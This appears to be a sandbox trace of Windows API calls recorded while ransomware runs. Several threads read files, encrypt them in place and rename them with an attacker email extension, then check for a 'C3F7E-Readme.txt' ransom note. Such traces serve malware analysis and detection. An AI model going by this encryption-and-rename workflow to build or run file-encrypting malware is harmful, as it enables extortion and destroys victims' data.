	[0073.637] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x650fd34 | out: lpFileSize=0x650fd34*=14084) returned 1
	[0073.637] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x3700, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.638] ReadFile (in: hFile=0x674, lpBuffer=0x650fcb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x650fcb4, lpOverlapped=0x0 | out: lpBuffer=0x650fcb8*, lpNumberOfBytesRead=0x650fcb4*=0x4, lpOverlapped=0x0) returned 1
	[0073.639] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0073.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774c0
	[0073.639] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0073.639] NtQuerySystemTime (in: CurrentTime=0x650fc94 | out: CurrentTime=0x650fc94*=132251868003696465) returned 0x0
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x18e801ce
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x350ffba
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x7e0f3a2
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x515602d7
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x1468f753
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x19acffa2
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x763b3744
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xbaa19d57
	[0073.639] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x33a9ac24
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x6816fc9d
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x67ea45ff
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xbd8d13c
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x4eb1f634
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xac6eb523
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xc86c8396
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x713997b6
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x73b2dbbf
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xd01d926b
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xef188f52
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x86a20657
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x1dfef06b
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xf14a068c
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xaaab31c5
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xc8984539
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x95e36cd9
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x4824bf47
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x58682543
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xd69c837
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x8189b163
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x3c719ec6
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0xb293f509
	[0073.640] RtlRandom (in: Seed=0x650fca0 | out: Seed=0x650fca0) returned 0x22733e7b
	[0073.650] ReadFile (in: hFile=0x674, lpBuffer=0x46db078, nNumberOfBytesToRead=0x3704, lpNumberOfBytesRead=0x650fc90, lpOverlapped=0x0 | out: lpBuffer=0x46db078*, lpNumberOfBytesRead=0x650fc90*=0x3704, lpOverlapped=0x0) returned 1
	[0073.652] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.652] WriteFile (in: hFile=0x674, lpBuffer=0x46e7880*, nNumberOfBytesToWrite=0x3704, lpNumberOfBytesWritten=0x650fc8c, lpOverlapped=0x0 | out: lpBuffer=0x46e7880*, lpNumberOfBytesWritten=0x650fc8c*=0x3704, lpOverlapped=0x0) returned 1
	[0076.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0076.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34550) returned 1
	[0076.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46e7880) returned 1
	[0076.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46db078) returned 1
	[0076.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732bf0) returned 1
	[0076.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d737c8) returned 1
	[0076.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d78140
	[0076.496] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.496] WriteFile (in: hFile=0x674, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x650fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x650fcf4*=0x107, lpOverlapped=0x0) returned 1
	[0076.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780e0) returned 1
	[0076.500] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0076.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78140) returned 1
	[0076.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774c0) returned 1
	[0076.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0076.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0076.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x2d78848
	[0076.501] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\Strings.xml" | out: _Dest="C:\\588bce7c90097ed212\\Strings.xml") returned="C:\\588bce7c90097ed212\\Strings.xml"
	[0076.501] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\Strings.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\Strings.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.501] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\Strings.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x650fcac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\Strings.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f268
	[0076.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0076.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2adf8) returned 1
	[0076.502] NtQueryInformationFile (in: FileHandle=0x674, IoStatusBlock=0x650fcb8, FileInformation=0x650fc90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x650fcb8, FileInformation=0x650fc90) returned 0x0
	[0076.502] NtSetInformationFile (FileHandle=0x674, IoStatusBlock=0x650fcb8, FileInformation=0x650fc90, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0076.503] FlushFileBuffers (hFile=0x674) returned 1
	[0076.504] CloseHandle (hObject=0x674) returned 1
	[0076.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d858c0
	[0076.505] wcscpy (in: _Dest=0x2d858c0, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0076.505] wcscat (in: _Dest=0x2d858c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0076.505] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0076.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d858c0) returned 1
	[0076.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d643a8) returned 1

Thread:
	id = 78
	os_tid = 0x1368

	[0073.653] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80
	[0073.653] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", dwFileAttributes=0x20) returned 1
	[0073.654] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x678
	[0073.654] GetFileSizeEx (in: hFile=0x678, lpFileSize=0x658fbd0 | out: lpFileSize=0x658fbd0*=38898) returned 1
	[0073.654] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x97ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.654] ReadFile (in: hFile=0x678, lpBuffer=0x658fb54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x658fb50, lpOverlapped=0x0 | out: lpBuffer=0x658fb54*, lpNumberOfBytesRead=0x658fb50*=0x4, lpOverlapped=0x0) returned 1
	[0073.655] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0073.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0073.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a80
	[0073.655] NtQuerySystemTime (in: CurrentTime=0x658fb30 | out: CurrentTime=0x658fb30*=132251868003852583) returned 0x0
	[0073.655] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x472cccb4
	[0073.655] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x6f46bcd7
	[0073.655] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xe40be6b7
	[0073.655] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xe6708cff
	[0073.655] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xcf0a48fe
	[0073.655] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x749ed238
	[0073.655] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x4445c527
	[0073.655] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xb9774897
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x65b1f3ab
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x3e99ea70
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xf7052e4e
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xc38a81f9
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x87be8a7b
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xcc2b9a3c
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xf9b370e1
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xe0b1b605
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x954ecf26
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x18e281d2
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xe9fa0005
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x8ed4823b
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xfdac55ce
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xc23ffabc
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xcdf6e25c
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x6c6e60e8
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x7ec40a4
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x3130440e
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x33c44690
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x17376caa
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x9570d34a
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xe69f9309
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0xe1a9a30c
	[0073.656] RtlRandom (in: Seed=0x658fb3c | out: Seed=0x658fb3c) returned 0x4ef09fb0
	[0073.666] ReadFile (in: hFile=0x678, lpBuffer=0x46f4088, nNumberOfBytesToRead=0x97f2, lpNumberOfBytesRead=0x658fb2c, lpOverlapped=0x0 | out: lpBuffer=0x46f4088*, lpNumberOfBytesRead=0x658fb2c*=0x97f2, lpOverlapped=0x0) returned 1
	[0073.668] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.668] WriteFile (in: hFile=0x678, lpBuffer=0x4700890*, nNumberOfBytesToWrite=0x97f2, lpNumberOfBytesWritten=0x658fb28, lpOverlapped=0x0 | out: lpBuffer=0x4700890*, lpNumberOfBytesWritten=0x658fb28*=0x97f2, lpOverlapped=0x0) returned 1
	[0076.524] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34758
	[0076.525] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34668
	[0076.525] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0076.525] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4700890) returned 1
	[0076.525] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f4088) returned 1
	[0076.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732f38) returned 1
	[0076.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0076.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d77e40
	[0076.529] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.529] WriteFile (in: hFile=0x678, lpBuffer=0x2d5af20*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x658fb90, lpOverlapped=0x0 | out: lpBuffer=0x2d5af20*, lpNumberOfBytesWritten=0x658fb90*=0x105, lpOverlapped=0x0) returned 1
	[0076.535] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0076.535] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d782f0) returned 1
	[0076.535] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.535] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e40) returned 1
	[0076.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0076.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0076.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0076.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0076.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7b810
	[0076.536] wcscpy (in: _Dest=0x2d7b810, _Source="C:\\588bce7c90097ed212\\UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\UiInfo.xml"
	[0076.536] wcscat (in: _Dest=0x2d7b810, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.536] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x658fb48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f5b0
	[0076.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f5b0) returned 1
	[0076.539] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78b40) returned 1
	[0076.539] NtQueryInformationFile (in: FileHandle=0x678, IoStatusBlock=0x658fb54, FileInformation=0x658fb2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x658fb54, FileInformation=0x658fb2c) returned 0x0
	[0076.539] NtSetInformationFile (FileHandle=0x678, IoStatusBlock=0x658fb54, FileInformation=0x658fb2c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.612] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b810) returned 1
	[0076.612] FlushFileBuffers (hFile=0x678) returned 1
	[0076.617] CloseHandle (hObject=0x678) returned 1
	[0076.618] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85bd8
	[0076.618] wcscpy (in: _Dest=0x2d85bd8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0076.619] wcscat (in: _Dest=0x2d85bd8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0076.619] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0076.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85bd8) returned 1
	[0076.619] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47310a0) returned 1

Thread:
	id = 79
	os_tid = 0x1314

	[0073.669] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80
	[0073.669] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", dwFileAttributes=0x20) returned 1
	[0073.670] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x67c
	[0073.670] GetFileSizeEx (in: hFile=0x67c, lpFileSize=0x660f808 | out: lpFileSize=0x660f808*=104072) returned 1
	[0073.670] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x19684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.670] ReadFile (in: hFile=0x67c, lpBuffer=0x660f78c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x660f788, lpOverlapped=0x0 | out: lpBuffer=0x660f78c*, lpNumberOfBytesRead=0x660f788*=0x4, lpOverlapped=0x0) returned 1
	[0073.671] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a80
	[0073.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0073.671] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0073.671] NtQuerySystemTime (in: CurrentTime=0x660f768 | out: CurrentTime=0x660f768*=132251868004008399) returned 0x0
	[0073.671] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x30eb3d63
	[0073.671] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xb336af35
	[0073.671] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x75303515
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x5c18ba4d
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x10b1aaf3
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xc33c089
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x1e1a8a00
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x44e518ff
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xe283150e
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x3c9ea164
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xd29fa683
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xd80281cb
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x47bb6b18
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xe11bddfb
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x33297d67
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xc272b17e
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xccedf0e2
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x67b940c0
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x21d7df81
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xc0161c74
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xe74be4e8
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x5b0c4a79
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xf84548b8
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xe842817f
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x550601f3
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0xb14d833e
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x9beb1b10
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x2c6a482a
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x4ac1dab0
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x4253fc28
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x7fb5b9b2
	[0073.672] RtlRandom (in: Seed=0x660f774 | out: Seed=0x660f774) returned 0x70166494
	[0073.681] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.681] ReadFile (in: hFile=0x67c, lpBuffer=0x470d768, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x660f748, lpOverlapped=0x0 | out: lpBuffer=0x470d768*, lpNumberOfBytesRead=0x660f748*=0xc800, lpOverlapped=0x0) returned 1
	[0073.682] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73078
	[0073.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732c68
	[0073.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0073.682] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0073.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x2d84e00
	[0073.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0073.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0073.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0073.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732c68) returned 1
	[0073.685] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73078) returned 1
	[0073.685] WriteFile (in: hFile=0x67c, lpBuffer=0x2d84e00*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x660f748, lpOverlapped=0x0 | out: lpBuffer=0x2d84e00*, lpNumberOfBytesWritten=0x660f748*=0xc800, lpOverlapped=0x0) returned 1
	[0073.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84e00) returned 1
	[0073.687] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470d768) returned 1
